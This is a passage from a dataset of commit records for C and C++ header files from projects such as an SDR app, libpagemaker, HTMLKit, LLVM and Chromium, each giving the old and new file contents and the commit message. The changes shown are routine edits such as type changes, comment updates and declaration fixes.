required config record)\n\nclass AppConfig\n{\npublic:\n    explicit    AppConfig();\n    virtual    ~AppConfig();\n\n    int     load(const QString &filename);\n    void    save(void);\n    void    close(void);\n\n    app_config_t    *getDataPtr(void) {\n        return &app_config;\n    }\n\nprivate:\n    void    readDeviceConf(void);\n    void    saveDeviceConf(void);\n\nprivate:\n    QSettings          *settings;\n    app_config_t        app_config;\n};\n","new_contents":"\/*\n * Application configuration\n *\/\n#pragma once\n\n#include <QtCore>\n\ntypedef struct\n{\n    QString     type;\n    quint64     frequency;\n    qint64      nco;\n    qint64      transverter;\n    quint32     rate;\n    quint32     decimation;\n    quint32     bandwidth;\n    qint32      freq_corr_ppb;\n} device_config_t;\n\ntypedef struct\n{\n\n} audio_config_t;\n\ntypedef struct\n{\n    unsigned int        version;\n    device_config_t     input;\n    audio_config_t      audio;\n} app_config_t;\n\n\/\/ error codes\n#define APP_CONFIG_OK           0\n#define APP_CONFIG_EINVAL       1   \/\/ invalid function paramter\n#define APP_CONFIG_EFILE        2   \/\/ error loading or saving file\n#define APP_CONFIG_EDATA        3   \/\/ data error (e.g. missing required config record)\n\nclass AppConfig\n{\npublic:\n    explicit    AppConfig();\n    virtual    ~AppConfig();\n\n    int     load(const QString &filename);\n    void    save(void);\n    void    close(void);\n\n    app_config_t    *getDataPtr(void) {\n        return &app_config;\n    }\n\nprivate:\n    void    readDeviceConf(void);\n    void    saveDeviceConf(void);\n\nprivate:\n    QSettings          *settings;\n    app_config_t        app_config;\n};\n","subject":"Use Qt types for integers","message":"Use Qt types for integers\n","lang":"C","license":"bsd-2-clause","repos":"csete\/softrig,csete\/softrig,csete\/softrig"}
{"commit":"e8ff2dd846f477d753af91937e0d67a767d48561","old_file":"algorithms\/include\/algorithms\/selection_sort.h","new_file":"algorithms\/include\/algorithms\/selection_sort.h","old_contents":"#ifndef INCLUDE_ALGORITHMS_SELECTION_SORT_H_\n#define INCLUDE_ALGORITHMS_SELECTION_SORT_H_\n#include <stddef.h>\n#include <vector>\n#include <functional>\n#include \"sort_interface.h\"\n\n\/*\nThis class implements sorting of elements using selection sort algorithm\nThe time complexity to sort is quadratic and is insensitive to input, which\nmean that the algorithm will take quadratic time even if the input is sorted.\n\nHowever the data movement is minimal. The algorithm does linear number of swaps\nto sort the elements. Each element is moved into its final position once.\n*\/\n\nnamespace algorithms {\n  template <typename _tp>\n  class SelectionSort : public SortInterface<_tp> {\n    public:\n      typedef _tp value_type;\n\n      static void Sort(std::vector<value_type>& elements, std::function<bool(const value_type&, const value_type&)> comparer = std::less<value_type>()) {\n        for (size_t index = 0; index < elements.size(); ++index) {\n          auto min = index;\n\n          for (size_t cnt = index + 1; cnt < elements.size(); ++cnt) {\n            if (comparer(elements[cnt], elements[min]))\n              min = cnt;\n          }\n\n          std::swap(elements[min], elements[index]);\n        }\n      }\n  };\n}\n\n#endif \/\/INCLUDE_ALGORITHMS_SELECTION_SORT_H_\n","new_contents":"#ifndef INCLUDE_ALGORITHMS_SELECTION_SORT_H_\n#define INCLUDE_ALGORITHMS_SELECTION_SORT_H_\n#include <stddef.h>\n#include <vector>\n#include <functional>\n#include \"sort_interface.h\"\n\n\/*\nThis class implements sorting of elements using selection sort algorithm\nThe time complexity to sort is quadratic (N2\/4) and is insensitive to input, which\nmean that the algorithm will take quadratic time even if the input is sorted.\n\nHowever the data movement is minimal. The algorithm does linear number of swaps\nto sort the elements. Each element is moved into its final position once.\n*\/\n\nnamespace algorithms {\n  template <typename _tp>\n  class SelectionSort : public SortInterface<_tp> {\n    public:\n      typedef _tp value_type;\n\n      static void Sort(std::vector<value_type>& elements, std::function<bool(const value_type&, const value_type&)> comparer = std::less<value_type>()) {\n        for (size_t index = 0; index < elements.size(); ++index) {\n          auto min = index;\n\n          for (size_t cnt = index + 1; cnt < elements.size(); ++cnt) {\n            if (comparer(elements[cnt], elements[min]))\n              min = cnt;\n          }\n\n          std::swap(elements[min], elements[index]);\n        }\n      }\n  };\n}\n\n#endif \/\/INCLUDE_ALGORITHMS_SELECTION_SORT_H_\n","subject":"Update comment of selection sort to include time complexity precisely","message":"Update comment of selection sort to include time complexity precisely\n","lang":"C","license":"mit","repos":"TusharJadhav\/algorithms,TusharJadhav\/algorithms"}
{"commit":"be3d7ac0ccd1363ed9a38b275d07270b224fd893","old_file":"src\/lib\/PMDPage.h","new_file":"src\/lib\/PMDPage.h","old_contents":"#pragma once\n#include \"geometry.h\"\n#include \"yaml_utils.h\"\n\n#include <vector>\n#include <boost\/shared_ptr.hpp>\n#include <librevenge\/librevenge.h>\n\nnamespace libpagemaker\n{\n\nclass PMDPage\n{\n  std::vector<boost::shared_ptr<PMDLineSet> > m_shapes;\npublic:\n  PMDPage() : m_shapes()\n  { }\n\n  void addShape(boost::shared_ptr<PMDLineSet> shape)\n  {\n    m_shapes.push_back(shape);\n  }\n\n  unsigned numShapes() const\n  {\n    return m_shapes.size();\n  }\n\n  boost::shared_ptr<const PMDLineSet> getShape(unsigned i) const\n  {\n    return m_shapes.at(i);\n  }\n\n  void emitYaml(yaml_emitter_t *emitter) const\n  {\n    yamlIndirectForeach(emitter, \"shapes\", m_shapes);\n  }\n};\n\n}\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n","new_contents":"#pragma once\n#include \"geometry.h\"\n#include \"yaml_utils.h\"\n\n#include <vector>\n#include <boost\/shared_ptr.hpp>\n#include <librevenge\/librevenge.h>\n\nnamespace libpagemaker\n{\n\nclass PMDPage\n{\n  std::vector<boost::shared_ptr<PMDLineSet> > m_shapes;\npublic:\n  PMDPage() : m_shapes()\n  { }\n\n  void addShape(boost::shared_ptr<PMDLineSet> shape)\n  {\n    m_shapes.push_back(shape);\n  }\n\n  unsigned numShapes() const\n  {\n    return m_shapes.size();\n  }\n\n  boost::shared_ptr<const PMDLineSet> getShape(unsigned i) const\n  {\n    return m_shapes.at(i);\n  }\n\n  void emitYaml(yaml_emitter_t *emitter) const\n  {\n    yamlBeginMap(emitter);\n    yamlIndirectForeach(emitter, \"shapes\", m_shapes);\n    yamlEndMap(emitter);\n  }\n};\n\n}\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n","subject":"Fix bug in shape yaml emit","message":"Fix bug in shape yaml emit\n","lang":"C","license":"mpl-2.0","repos":"umanwizard\/libpagemaker,umanwizard\/libpagemaker,umanwizard\/libpagemaker,anuragkanungo\/libpagemaker,anuragkanungo\/libpagemaker,anuragkanungo\/libpagemaker,anuragkanungo\/libpagemaker,umanwizard\/libpagemaker,umanwizard\/libpagemaker"}
{"commit":"8d672cf0cf6df3dc43413663063e7309f30a93f6","old_file":"HTMLKit\/CSSStructuralPseudoSelectors.h","new_file":"HTMLKit\/CSSStructuralPseudoSelectors.h","old_contents":"\/\/\n\/\/  CSSStructuralPseudoSelector.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 11\/10\/15.\n\/\/  Copyright © 2015 BrainCookie. All rights reserved.\n\/\/\n\n@class CSSSelector;\n\nNS_ASSUME_NONNULL_BEGIN\n\nextern CSSSelector * rootSelector();\nextern CSSSelector * emptySelector();\nextern CSSSelector * parentSelector();\n\nextern CSSSelector * buttonSelector();\nextern CSSSelector * checkboxSelector();\nextern CSSSelector * fileSelector();\nextern CSSSelector * headerSelector();\nextern CSSSelector * imageSelector();\nextern CSSSelector * inputSelector();\nextern CSSSelector * linkSelector();\nextern CSSSelector * passwordSelector();\nextern CSSSelector * radioSelector();\nextern CSSSelector * resetSelector();\nextern CSSSelector * submitSelector();\nextern CSSSelector * textSelector();\n\nextern CSSSelector * enabledSelector();\nextern CSSSelector * disabledSelector();\nextern CSSSelector * checkedSelector();\nextern CSSSelector * optionalSelector();\nextern CSSSelector * requiredSelector();\n\nextern CSSSelector * ltSelector();\nextern CSSSelector * gtSelector();\nextern CSSSelector * eqSelector();\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  CSSStructuralPseudoSelector.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 11\/10\/15.\n\/\/  Copyright © 2015 BrainCookie. All rights reserved.\n\/\/\n\n@class CSSSelector;\n\nNS_ASSUME_NONNULL_BEGIN\n\nextern CSSSelector * rootSelector();\nextern CSSSelector * emptySelector();\nextern CSSSelector * parentSelector();\n\nextern CSSSelector * buttonSelector();\nextern CSSSelector * checkboxSelector();\nextern CSSSelector * fileSelector();\nextern CSSSelector * headerSelector();\nextern CSSSelector * imageSelector();\nextern CSSSelector * inputSelector();\nextern CSSSelector * linkSelector();\nextern CSSSelector * passwordSelector();\nextern CSSSelector * radioSelector();\nextern CSSSelector * resetSelector();\nextern CSSSelector * submitSelector();\nextern CSSSelector * textSelector();\n\nextern CSSSelector * enabledSelector();\nextern CSSSelector * disabledSelector();\nextern CSSSelector * checkedSelector();\nextern CSSSelector * optionalSelector();\nextern CSSSelector * requiredSelector();\n\n\nextern CSSSelector * ltSelector(NSUInteger index);\n\nextern CSSSelector * gtSelector(NSUInteger index);\n\nextern CSSSelector * eqSelector(NSInteger index);\n\n\nNS_ASSUME_NONNULL_END\n","subject":"Fix \"lt\", \"gt\" & \"eq\"-selectors declarations","message":"Fix \"lt\", \"gt\" & \"eq\"-selectors declarations\n\nAdded missing index argument\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"9f2b03bc934409144841acb496c9067230bcdb56","old_file":"src\/rlc_parameters.h","new_file":"src\/rlc_parameters.h","old_contents":"\/\/ 3GPP LTE RLC: 4G Radio Link Control protocol interface\n\/\/ Parameters for RLC AM\n\n\nconst char *const rlc_parameter_names[] =\n{\n  \/* RLC mode AM\/UM\/TM *\/\n  \"rlc\/mode\",\n  \/* AM *\/\n  \"maxRetxThreshold\",\n  \"amWindowSize\",\n  \"pollPDU\",\n  \"pollByte\",\n  \"t-StatusProhibit\",\n  \"t-PollRetransmit\",\n  \/* AM & UM *\/\n  \"t-Reordering\",\n  \/* UM *\/\n  \"SN-FieldLength.rx\",\n  \"SN-FieldLength.tx\",\n  \/* PDCP *\/\n  \"headerCompression\",\n  \"pdcp-SN-Size\",\n  \"statusReportRequired\",\n  \"discardTimer\",\n  \"maxCID\",\n  \"profiles\",\n  \"pdcp\/t-Reordering\",\n  \"\",\n  NULL\n};\n\n","new_contents":"\/\/ 3GPP LTE RLC: 4G Radio Link Control protocol interface\n\/\/ Parameters for RLC AM\n\n\nconst char *const rlc_parameter_names[] =\n{\n  \/* RLC mode AM\/UM\/TM *\/\n  \"rlc\/mode\",\n  \"rlc\/debug\",\n  \/* AM *\/\n  \"maxRetxThreshold\",\n  \"amWindowSize\",\n  \"pollPDU\",\n  \"pollByte\",\n  \"t-StatusProhibit\",\n  \"t-PollRetransmit\",\n  \/* AM & UM *\/\n  \"t-Reordering\",\n  \/* UM *\/\n  \"SN-FieldLength.rx\",\n  \"SN-FieldLength.tx\",\n  \/* PDCP *\/\n  \"headerCompression\",\n  \"pdcp-SN-Size\",\n  \"statusReportRequired\",\n  \"discardTimer\",\n  \"maxCID\",\n  \"profiles\",\n  \"pdcp\/t-Reordering\",\n  \"\",\n  NULL\n};\n\n","subject":"Add rlc\/debug to parameter list","message":"Add rlc\/debug to parameter list\n","lang":"C","license":"agpl-3.0","repos":"mmtorni\/HamLTE,mmtorni\/HamLTE,mmtorni\/HamLTE"}
{"commit":"3b7d65ec21a63ce20fd93970f1fdf20a41d36ff4","old_file":"include\/Common.h","new_file":"include\/Common.h","old_contents":"#ifndef COMMON_H_INCLUDED\n#define COMMON_H_INCLUDED\n\n#include <string>\n#include <vector>\n#include <numeric>\n#include <iostream>\n\n#include \"..\/include\/Console.h\"\n\n\/\/ Common functions and data to share across all files.\nnamespace Common {\n    void ClearScreen();\n    int input();\n\n    void ColourPrint(std::string, Console::EColour colour);\n\n    void Sleep(int ms);\n\n    int RandomInt(int min, int max);\n\n    template <typename T>\n    T RandomEvent(std::vector<int> weights, std::vector<T> outcomes) {\n        std::vector <int> events;\n        int k = 0;\n        for (auto it : weights)\n        {\n            for (int i = 0; i < it; i++)\n            {\n                events.push_back(k);\n            }\n            k++;\n        }\n\n        int denominator = std::accumulate(weights.begin(), weights.end(), 0);\n        int rIndex = Common::RandomInt(0, denominator-1);\n        int outIndex = events.at(rIndex);\n        return outcomes.at(outIndex);\n    }\n\n    \/\/ Indicates if the game is still going.\n    extern bool IsPlaying;\n    extern const int SLEEP_MS;\n\n    \/\/ Number of items held in inventory.\n    extern const int NUM_ITEMS;\n}\n\n#endif \/\/ COMMON_H_INCLUDED\n","new_contents":"#ifndef COMMON_H_INCLUDED\n#define COMMON_H_INCLUDED\n\n#include <string>\n#include <vector>\n#include <numeric>\n#include <iostream>\n\n#include \"..\/include\/Console.h\"\n\n\/\/ Common functions and data to share across all files.\nnamespace Common {\n    void ClearScreen();\n    int input();\n\n    void ColourPrint(std::string, Console::EColour colour);\n\n    void Sleep(int ms);\n\n    int RandomInt(int min, int max);\n\n    template <typename T>\n    T RandomEvent(std::vector<int> weights, std::vector<T> outcomes) {\n        std::vector <int> indices;\n        int index = 0; \/\/ The possible indices for the outcomes vector\n        for (int weight : weights) {\n            for (int i = 0; i < weight; i++) {\n                indices.push_back(index);\n            }\n            index++;\n        }\n\n        int randomIndex = indices.at(RandomInt(0, indices.size()-1));\n        return outcomes.at(randomIndex);\n    }\n\n    \/\/ Indicates if the game is still going.\n    extern bool IsPlaying;\n    extern const int SLEEP_MS;\n\n    \/\/ Number of items held in inventory.\n    extern const int NUM_ITEMS;\n}\n\n#endif \/\/ COMMON_H_INCLUDED\n","subject":"Improve style and naming conventions","message":"Improve style and naming conventions\n","lang":"C","license":"mit","repos":"tagniam\/Turn,tagniam\/Turn"}
{"commit":"6852c616edf9fc7ff27e8367d7f72a5d88f32d8c","old_file":"test\/CFrontend\/2007-03-27-VarLengthArray.c","new_file":"test\/CFrontend\/2007-03-27-VarLengthArray.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {getelementptr i32}\nextern void f(int *);\nint e(int m, int n) {\n  int x[n];\n  f(x);\n  return x[m];\n}\n","subject":"Test code quality for variable length array references.","message":"Test code quality for variable length array references.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@36163 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"91412760f32ac1a5ef02e6c9d99218b1539c4142","old_file":"Pod\/Classes\/KVOMutableArray.h","new_file":"Pod\/Classes\/KVOMutableArray.h","old_contents":"#import <Foundation\/Foundation.h>\n#import \"NSObject+BlockObservation.h\"\n\n@interface KVOMutableArray : NSMutableArray<NSFastEnumeration, NSMutableCopying, NSCoding, NSCopying>\n\n- (NSMutableArray*)arr;\n\n- (instancetype)init;\n- (instancetype)initWithMutableArray:(NSMutableArray*)array NS_DESIGNATED_INITIALIZER;\n- (BOOL)isEqualToArray:(KVOMutableArray*)array;\n- (AMBlockToken*)addObserverWithTask:(AMBlockTask)task;\n\n\/\/ Warning!! [NSKeyedUnarchiver unarchiveObject] will return NSMutableArray\n\/\/ see http:\/\/stackoverflow.com\/questions\/18874493\/nsmutablearray-subclass-not-calling-subclasss-initwithcoder-when-unarchiving\n- (void)encodeWithCoder:(NSCoder *)encoder;\n\n\/\/ Warning!! [kvoMutableArray copy] may return NSArray\n- (id)copyWithZone:(NSZone *)zone;\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n#import \"NSObject+BlockObservation.h\"\n\n@interface KVOMutableArray<ObjectType> : NSMutableArray<NSFastEnumeration, NSMutableCopying, NSCoding, NSCopying>\n\n- (NSMutableArray*)arr;\n\n- (instancetype)init;\n- (instancetype)initWithMutableArray:(NSMutableArray*)array NS_DESIGNATED_INITIALIZER;\n- (BOOL)isEqualToArray:(KVOMutableArray*)array;\n- (AMBlockToken*)addObserverWithTask:(AMBlockTask)task;\n\n\/\/ Warning!! [NSKeyedUnarchiver unarchiveObject] will return NSMutableArray\n\/\/ see http:\/\/stackoverflow.com\/questions\/18874493\/nsmutablearray-subclass-not-calling-subclasss-initwithcoder-when-unarchiving\n- (void)encodeWithCoder:(NSCoder *)encoder;\n\n\/\/ Warning!! [kvoMutableArray copy] may return NSArray\n- (id)copyWithZone:(NSZone *)zone;\n@end\n","subject":"Add type arguments support :)","message":"Add type arguments support :)\n","lang":"C","license":"mit","repos":"haifengkao\/KVOMutableArray,haifengkao\/KVOMutableArray,haifengkao\/KVOMutableArray,haifengkao\/KVOMutableArray"}
{"commit":"fd7e4076eb0b2a6aef74d3cca22f08d395b07281","old_file":"chrome\/browser\/ui\/aura\/chrome_browser_main_extra_parts_aura.h","new_file":"chrome\/browser\/ui\/aura\/chrome_browser_main_extra_parts_aura.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_AURA_CHROME_BROWSER_MAIN_EXTRA_PARTS_AURA_H_\n#define CHROME_BROWSER_UI_AURA_CHROME_BROWSER_MAIN_EXTRA_PARTS_AURA_H_\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"chrome\/browser\/chrome_browser_main_extra_parts.h\"\n\nnamespace aura {\nclass DesktopStackingClient;\n}\n\nclass ChromeBrowserMainExtraPartsAura : public ChromeBrowserMainExtraParts {\n public:\n  ChromeBrowserMainExtraPartsAura();\n  virtual ~ChromeBrowserMainExtraPartsAura();\n\n  \/\/ Overridden from ChromeBrowserMainExtraParts:\n  virtual void PreProfileInit() OVERRIDE;\n  virtual void PostMainMessageLoopRun() OVERRIDE;\n\n private:\n  scoped_ptr<views::DesktopStackingClient> stacking_client_;\n\n  DISALLOW_COPY_AND_ASSIGN(ChromeBrowserMainExtraPartsAura);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_AURA_CHROME_BROWSER_MAIN_EXTRA_PARTS_AURA_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_AURA_CHROME_BROWSER_MAIN_EXTRA_PARTS_AURA_H_\n#define CHROME_BROWSER_UI_AURA_CHROME_BROWSER_MAIN_EXTRA_PARTS_AURA_H_\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"chrome\/browser\/chrome_browser_main_extra_parts.h\"\n\nnamespace views {\nclass DesktopStackingClient;\n}\n\nclass ChromeBrowserMainExtraPartsAura : public ChromeBrowserMainExtraParts {\n public:\n  ChromeBrowserMainExtraPartsAura();\n  virtual ~ChromeBrowserMainExtraPartsAura();\n\n  \/\/ Overridden from ChromeBrowserMainExtraParts:\n  virtual void PreProfileInit() OVERRIDE;\n  virtual void PostMainMessageLoopRun() OVERRIDE;\n\n private:\n  scoped_ptr<views::DesktopStackingClient> stacking_client_;\n\n  DISALLOW_COPY_AND_ASSIGN(ChromeBrowserMainExtraPartsAura);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_AURA_CHROME_BROWSER_MAIN_EXTRA_PARTS_AURA_H_\n","subject":"Revert 167434 - build fix","message":"Revert 167434 - build fix\n\nTBR=scottmg@chromium.org\nReview URL: https:\/\/chromiumcodereview.appspot.com\/11366227\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@167442 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,patrickm\/chromium.src,Chilledheart\/chromium,ltilve\/chromium,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,ltilve\/chromium,zcbenz\/cefode-chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,patrickm\/chromium.src,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,dushu1203\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,anirudhSK\/chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,dednal\/chromium.src,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,ChromiumWebApps\/chromium,M4sse\/chromium.src,ChromiumWebApps\/chromium,patrickm\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,littlstar\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,ltilve\/chromium,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,anirudhSK\/chromium,M4sse\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,anirudhSK\/chromium,M4sse\/chromium.src,dednal\/chromium.src,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,Just-D\/chromium-1,Chilledheart\/chromium,markYoungH\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,zcbenz\/cefode-chromium,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,Chilledheart\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,jaruba\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,Jonekee\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,ltilve\/chromium,ondra-novak\/chromium.src,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,dednal\/chromium.src,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,PeterWangIntel\/chrom